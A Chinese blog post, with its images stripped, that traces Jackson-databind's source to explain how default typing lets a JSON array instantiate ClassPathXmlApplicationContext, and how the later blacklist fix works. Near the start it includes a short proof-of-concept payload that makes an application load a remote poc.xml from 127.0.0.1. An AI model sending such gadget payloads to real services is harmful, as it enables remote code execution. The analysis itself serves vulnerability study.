天天看點

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

開始

我們來分析Jackson的反序列化漏洞,包含以下兩個CVE.

1. CVE-2017-7275

2. CVE-2017-17485

由于CVE-2017-7275采用黑名單的方法修複程式,CVE-2017-17485在繞過該黑名單.是以下文以CVE-2017-17485的demo作分析.

影響版本

  • Jackson Version 2.7.* < 2.7.10
  • Jackson Version 2.8.* < 2.8.9

debug環境

  • jdk 1.8.0_181
  • jackson 2.6.7

debug代碼

漏洞觸發的條件,以下滿足任意一個:

  • mapper.enableDefaultTyping();

  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)

  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", " +
                ""http://127.0.0.1/poc.xml"]n";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
           

原理分析

漏洞觸發入口:

mapper.readValue(payload, Object.class)

,跟進去,跳過一些不重要的過程,跳過的調用棧如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

我們來看

_deserialize

的方法,源碼如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

上述源碼中框起來的是三個關鍵的方法,先來看String typeId = _locateTypeId(p, ctxt);,這個方法名字就是定位類型id,什麼類型呢?當然是将要反序列化類的類型.跟進去,源碼如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

從源碼可以發現,通過jp(jp就是jackson中解析json解析器,這是因為我們傳進去的是一個json array資料,在前面省略部分初始化的,有興趣可以debug看下)得到第一個string傳回.也就是我們的

org.springframework.context.support.ClassPathXmlApplicationContext

.具體的實作是首先疊代出jsontoken對象,判斷類型為string,接着調用

jp.getText()

擷取該值.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

回過頭來繼續看第二個關鍵的方法

_findDeserializer

,傳進去的參數typeId的值為

org.springframework.context.support.ClassPathXmlApplicationContext

,源碼如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

上述源碼,開始是從_deserializers(一個hashmap)去查找,當然為null,接着調用_idResolver.typeFromId,傳入的為type_id,跟進這個方法:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

繼續跟進.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

從上述源碼發現,調用findClass方法,傳入的id為先前的type_id,傳回的是一個class對象,可以推測裡面調用了class.forName方法.跟進去果然是這樣.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

接着調用

constructSpecializedType

方法将剛才得到的class封裝成javaType并傳回,這樣

_idResolver.typeFromId

執行完了. 再看

_findDeserializer

方法的下面的操作,來看

deser = ctxt.findContextualValueDeserializer(type, _property)

,裡面調用有點長,有些不太清楚,主要的操作将剛才封裝的JavaType繼續封裝成BeanDeserializer(可以了解為待執行個體化的bean類,繼承JsonDeserializer).接着存入

_deserializers

中.至此,第二個關鍵方法

_findDeserializer

的操作結束. 做個小結吧.

_findDeserializer

,首先通過

typeFromId

方法做了兩件事: 1. 讀取傳入的

org.springframework.context.support.ClassPathXmlApplicationContext

. 2. 反射

org.springframework.context.support.ClassPathXmlApplicationContext

生成對應的class,并封裝在javaType類中.

接着調用

ctxt.findContextualValueDeserializer

轉化成待執行個體化對象.那麼接下來要做的應該是讀取傳入的

http://127.0.0.1/poc.xml

,并作為org.springframework.context.support.ClassPathXmlApplicationContext的參數執行個體化該類. 最後我們來看第三個關鍵方法是不是這樣的.跟進

deser.deserialize(p, ctxt)

.源碼如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

從上述源碼中可以看到,首先調用p.nextToken(),和上面擷取

org.springframework.context.support.ClassPathXmlApplicationContext

一樣.接着調用p.getCurrentToken()擷取目前值的類型.最後在

_deserializeOther

中進行進一步處理.跟進

_deserializeOther

.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

跟進

deserializeFromString(p, ctxt)

.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

_objectIdReader=null

,繼續跟進_valueInstantiator.createFromString(ctxt, p.getText()).傳入的p.getText()的值為

http://127.0.0.1/poc.xml

.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

看到這個call(有調用的意思),感覺接近了.繼續跟進:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

終于我們看到了以

http://127.0.0.1/poc.xml

為參數對

org.springframework.context.support.ClassPathXmlApplicationContext.

進行執行個體化.後面就會觸發漏洞了.

兩個問題

一. 為什麼要求mapper.enableDefaultTyping()?

先看一下mapper.enableDefaultTyping()設定了以下參數.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

其中最關鍵的設定了

_typeResolverBuilder

. 我們再來對比一下

_readMapAndClose

.源碼如下:其中

result = deser.deserialize(jp, ctxt);

,就是我們分析的入口.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

1.未設定enableDefaultTyping

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

2.設定enableDefaultTyping

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

可以發現,一個得到的是UntypeedObjectContext,另一個是DefaultCOntext.這就是設定原因. 在

_findRootDeserializer

裡面的有一個操作來判斷的:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

從源碼中可以發現,通過config.getDefaultTyper擷取預設的類型.跟進其中.

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析
jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

裡面其實就是判斷是否設定_typeResolverBuilder,沒有就會傳回null,為UnTyped.

二. org.springframework.context.support.ClassPathXmlApplicationContext的利用鍊?

該利用鍊的原理就是spel注入.先貼個别人的文章,後續去debug分析分析.

SpEL表達式注入漏洞總結

修複

修複debug版本使用的是2.8.10. 修複出現在前面所說的封裝BeanDeserializer前,加入黑名單判斷,源碼如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

可以發現,在最終傳回前調用了

_validateSubType

(驗證類型)方法.跟進看看:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析
jackson 序列化_Jackson-databind 反序列化漏洞源碼分析

可以發現,裡面就是黑名單的判斷.其中

_cfgIllegalClassNames

為一個set集合.資料如下:

jackson 序列化_Jackson-databind 反序列化漏洞源碼分析